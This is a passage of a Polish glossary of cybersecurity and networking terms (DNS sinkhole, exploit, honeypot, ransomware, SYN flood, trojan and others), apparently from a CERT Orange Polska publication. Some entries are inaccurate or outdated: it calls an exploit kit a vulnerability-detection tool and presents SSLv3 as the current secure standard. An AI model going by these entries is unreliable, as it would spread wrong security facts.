użytkowników internetu. Sieć internet działa w oparciu 
o adresy IP, a nie nazwy domen, dlatego wymaga systemu 
DNS do odwzorowywania nazw domen w adresy IP. 

DNS sinkhole – serwer DNS, który przekazuje fałszywe 
informacje, uniemożliwiając połączenie z docelową stroną 
internetową. Wykorzystywany do detekcji oraz blokowania 
złośliwego ruchu w sieci. 

Domena internetowa (ang. domain name) – nazwa 
domeny; element używany w adresie URL do identyfikacji 
adresów stron internetowych. Przykładami domen 
są .gov, .org, com.pl.

Exploit – program, który umożliwia przejęcie kontroli nad 
systemem komputerowym, wykorzystując różne luki w pro-
gramach i systemach operacyjnych. 

Exploit 0-day– exploit, który pojawia się natychmiast po 
informacji o podatności, dla której nie została jeszcze przygo-
towana poprawka. 

Exploit kit – rodzaj oprogramowania, uruchamianego 
na serwerach sieciowych i służącego do wykrywania luk 
w zabezpieczeniach. 

Firewall – zapora sieciowa; oprogramowanie (urządzenie), 
którego podstawową funkcją jest monitorowanie i filtrowanie 
ruchu pomiędzy komputerem (lub siecią lokalną) a interne-
tem. Firewall potrafi zapobiec wielu atakom, umożliwiając 
wczesne rozpoznanie prób włamania i blokując 
niepożądany ruch.

Honeypot –„garnek miodu”; pułapka mająca na celu wykry-
cie próby nieautoryzowanego dostępu do systemu 
komputerowego lub pozyskania danych. Najczęściej składa 
się z wyizolowanego komputera wraz z wyodrębnionym 
obszarem sieci lokalnej, które razem udają prawdziwą sieć, 
ale są odizolowane i odpowiednio zabezpieczone. System 

Glosariusz taki ma sprawiać wrażenie jakby zawierał dane lub zasoby 
atrakcyjne z punktu widzenia potencjalnego intruza. 

HTTP (ang. Hypertext Transfer Protocol) – podstawowy 
protokół wykorzystywany przez sieć WWW (ang.World 
Wide Web). Określa zestaw reguł przesyłania plików 
tekstowych i multimedialnych, podczas żądań udostępnienia 
strony WWW. Po wpisaniu adresu URL w przeglądarce, 
wysyłane jest polecenia HTTP do serwera WWW w celu 
pobrania i przekazania żądanej strony WWW. 

HTTPS (ang. Hypertext Transfer Protocol Secure) – protokół 
bezpiecznej komunikacji, który jest rozszerzeniem protokołu 
HTTP i umożliwia bezpieczną wymianę informacji dzięki 
szyfrowaniu danych z wykorzystaniem protokołu SSL. 
Przy korzystaniu z bezpiecznego połączenia HTTPS adres 
internetowy zaczyna się od „https://”.

ICMP (ang. Internet Control Message Protocol) – protokół 
komunikacyjny, służący do przekazywania komunikatów 
o nieprawidłowościach w funkcjonowaniu sieci IP oraz in-
nych informacji kontrolnych. Jednym z programów, które 
wykorzystują ten protokół jest ping, który pozwala sprawdzić 
czy istnieje połączenie z innym komputerem w sieci. 

IDS (ang. Intrusion Detection System) – system wykrywania 
włamań. System IDS monitoruje ruch sieciowy, wykrywając 
i powiadamiając o zidentyfikowanych zagrożeniach. 

Incydent – zdarzenie zagrażające lub naruszające 
bezpieczeństwo w sieci internet. Do incydentów zalicza się 
m.in.: włamania lub próby włamań do systemów kompute-
rowych, ataki typu DDoS, spam, rozsyłanie złośliwego 
oprogramowania i inne przypadki naruszania zasad, które 
obowiązują w sieci internet.

IoT (ang. Internet of Things) - Internet Rzeczy; koncepcja 
systemu gromadzenia, przetwarzania i wymiany danych 
pomiędzy „inteligentnymi” urządzeniami, za pośrednictwem 
sieci komputerowej. Do IoT zalicza się m.in.: urządzenia 
gospodarstwa domowego, artykuły oświetleniowe, budynki, 
pojazdy, itp. 

IP (ang. Internet Protocol) – jeden z najważniejszych proto-
kołów komunikacyjnych, używany do transmisji danych
w sieci internet. Głównym zadaniem tego protokołu jest 
wybór trasy przesyłania danych.  

IPS (ang. Intrusion Prevention System) – system wykrywania 
zagrożeń i zapobiegania atakom w czasie rzeczywistym.

Keylogger – program, który działa w ukryciu i rejestruje 
informacje wprowadzane za pomocą̨ klawiatury komputera. 
Służy do śledzenia działań i przechwytywania poufnych 
danych użytkownika (np. haseł, numerów kart kredytowych). 

Luka – patrz podatność. 

Malware (ang. malicious sofware) – złośliwe oprogramo-
wanie, którego celem jest szkodliwe działanie w stosunku 
do użytkownika komputera. Zalicza się do niego m.in. wirusy 
komputerowe, robaki internetowe, konie trojańskie, programy 
typu spyware. 

MSISDN (ang. Mobile Station International Subscriber 
Directory Number) – numer telefonu; numer abonenta sieci 
komórkowej, przechowywany na karcie SIM oraz w rejestrze 
abonentów.

OWASP (ang. Open Web Application Security Project) – 
globalne stowarzyszenie, które główną ideą jest poprawa 
bezpieczeństwa aplikacji webowych. 

Phishing – rodzaj oszustwa internetowego, którego celem 
jest kradzież tożsamości użytkownika, czyli takich poufnych 
danych (np. haseł, danych osobowych), które pozwolą cyber-
przestępcy podszyć się pod ofiarę. Wyłudzenie informacji 
następuje w wyniku otwarcia przez nieświadomego użytko-
wnika złośliwego załącznika lub kliknięcia w fałszywy link.

Podatność (ang. vulnerability) – błąd, luka; cecha sprzętu lub 
oprogramowania komputerowego, stanowiąca zagrożenie dla 
bezpieczeństwa. Może zostać wykorzystana przez atakujące-
go, jeżeli nie zostanie zainstalowana odpowiednia poprawka. 

Poprawka (ang. patch) – łata; program naprawiający błędy 
(luki) w oprogramowaniu komputerowym. 

Ransomware (ang. ransom - okup) – rodzaj złośliwego 
oprogramowania, który po wprowadzeniu do systemu 
użytkownika szyfruje pliki na dysku. Odszyfrowanie wymaga 
zapłacenia cyberprzestępcom okupu. 

Robak (ang. worm) internetowy – samoreplikujący się złośli-
wy program komputerowy. Rozprzestrzenia się we wszystkich 
sieciach, do których jest podłączony zainfekowany komputer, 
wykorzystując luki w systemie operacyjnym lub naiwność 
użytkownika. Robak potrafi m.in. niszczyć pliki, wysyłać 
spam albo pełni funkcję backdoora lub konia trojańskiego.

Rootkit – program, którego zadaniem jest ukrycie 
obecności i aktywności złośliwego oprogramowania przed 
narzędziami zabezpieczającymi system. Rootkit usuwa ukry-
wane programy z listy procesów i jest wykorzystywany przez 
atakującego w celu uzyskania nieautoryzowanego dostępu 
do komputera. 

RST (ang. reset) – jedna z flag protokołu TCP, oznaczająca 
zerwanie połączenia (wymagane ponowne uzgodnienie 
połączenia). 

SIEM (ang. Security Information and Event Management) – 
system pozwalający na gromadzenie, filtrowanie i korelację 
zdarzeń, pochodzących z wielu różnych źródełi zamieniający 
je na dane wartościowe z punktu widzenia bezpieczeństwa.
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Sinkholing (ang. hole - dziura) – polega na przekierowaniu  
niepożądanego ruchu sieciowego, generowanego przez 
złośliwe oprogramowanie lub botnety. Przekierowanie może 
odbywać się pod takie adresy IP, gdzie zawartość tego ruchu 
może być przeanalizowana, jak również pod nieistniejące 
adresy IP. 

Skanowanie portów (ang. port scanning) – działanie 
polegające na wysyłaniu danych (pakietów TCP lub UDP) 
do określonego systemu komputerowego w sieci. Pozwala 
uzyskać informacje o działaniu określonych usług, otwar-
tych na określonych portach. Skanowanie przeprowadzane 
jest zwykle w celu sprawdzenia zabezpieczeń lub poprze-
dza włamanie. 

SLA (ang. Service Level Agreement) – umowa o gwarantowa-
nym poziomie świadczenia usług, ustalonego między klientem 
a usługodawcą.

Sniffing – działanie polegające na podsłuchiwaniu i anali-
zie ruchu w sieci. Sniffing może być wykorzystany do zarzą-
dzania i usuwania problemów w sieci przez administratorów 
ale także przez cyberprzestępców do podsłuchu i przechw-
ytywania poufnych informacji użytkowników (np. haseł).

SOC (ang. Security Operations Center) – Operacyjne Cen-
trum Bezpieczeństwa, łączące zarówno funkcje techniczne i 
organizacyjne, w którym systemy typu SIEM, systemy antywi-
rusowe, IDS/IPS, firewalle, dostarczają informacji do central-
nego systemu zarządzania incydentami. 

Spam – niezamówione i niechciane wiadomości, rozsyłane 
masowo, zazwyczaj przy użyciu poczty elektronicznej. 
Wiadomości tego typu zwykle są przesyłane anonimowo 
z wyłudzonych lub przechwyconych adresów, najczęściej 
przy użyciu botnetów. Spam to najczęściej wiadomości 
reklamujące produkty lub usługi.

Spyware (ang. spy software) – program szpiegujący, którego 
zadaniem jest śledzenie działań użytkownika komputera. 
Monitorowanie aktywności odbywa się bez zgody i wiedzy 
użytkownika. Zbierane informacje dotyczą m. in. adresów 
odwiedzanych stron internetowych, adresów e-mail, haseł czy 
numerów kart kredytowych. Do programów typu spyware 
należą m. in. adware, trojany i keyloggery. 

SSL (ang. Secure Socket Layer) – protokół bezpieczeństwa, 
zapewniający poufność i integralność transmisji danych oraz 
ich uwierzytelnianie. Obecnie najczęściej używana jest wersja 
SSLv3 uznawana za standard bezpiecznej wymiany danych i 
rozwijana pod nazwą TLS (ang. Transport Layer Security).

SYN (ang. synchronization) – jedna z flag protokołu TCP, 
wysłana przez klienta do serwera w w celu zainicjalizowania 
połączenia.

SYN Flood (ang. flood - zalanie) – popularny atak 
sieciowy, którego głównym celem jest zablokowanie usług 
danego serwera. Do przeprowadzenia ataku wykorzystywany 
jest protokół TCP. 

TCP (ang. Transmission Control Protocol) – protokół 
połączeniowy; jeden z podstawowych protokołów sieciowych, 
służący do sterowania transmisją danych w sieci internet. 
Wymaga nawiązania połączenia pomiędzy urządzeniami 
w sieci i umożliwia uzyskanie potwierdzenia, że dane dotarły 
do adresata. 

Trojan – koń trojański; złośliwy program, który umożliwia 
cyberprzestępcy zdalne przejęcie pełnej kontroli nad 
systemem komputerowym. Instalacja konia trojańskiego 
najczęściej odbywa się poprzez uruchomienie złośliwych 
aplikacji pochodzących z niezaufanych stron internetowych 
lub załączników mailowych. Poza zdalnym wykonywaniem 
komend, trojan może umożliwić podsłuchanie komunikacji 
i przechwycić hasła użytkownika.

UDP (ang. User Datagram Protocol) – protokół 
bezpołączeniowy, jeden z podstawowych protokołów 
sieciowych. W przeciwieństwie do TCP, nie wymaga on 
nawiązywania połączenia, obserwowania sesji między 
urządzeniami i potwierdzenia, że dane dotarły do adresata. 
Dzięki czemu wykorzystywany jest do transmisji w czasie 
rzeczywistym (real-time).

URL (ang. Universal Resource Locator) – adres używany 
do identyfikacji serwerów i ich zasobów. Niezbędny w wielu 
protokołach internetowych (np. HTTP). 

VoIP – (ang. Voice Over Internet Protocol) –„telefonia 
internetowa”; technika umożliwiająca przesyłanie dźwięków 
mowy za pomocą łączy internetowych. Dane dźwiękowe 
przesyłane są przy wykorzystaniu protokołu IP. 

Wirus (ang. virus) – złośliwy program lub fragment kodu 
ukryty wewnątrz innego programu, który replikuje się w 
systemie operacyjnym użytkownika. W zależności od 
typu wirusa, posiada on różne funkcje destrukcyjne, od 
wyświetlania napisów na monitorze, poprzez usuwanie 
plików, a nawet formatowanie dysku.

Zdarzenie – aktywność w systemie wynikająca z działań 
użytkownika, aplikacji, usługi itp. Zdarzenie powoduje w sys-
temie monitorującym bezpieczeństwo wygenerowanie sygna-
łu, który powinien zostać poddany analizie automatycznej lub 
ręcznej. Zdarzenie może przekształcić się w incydent.     



Więcej informacji znajdziesz na:
www.cert.orange.pl


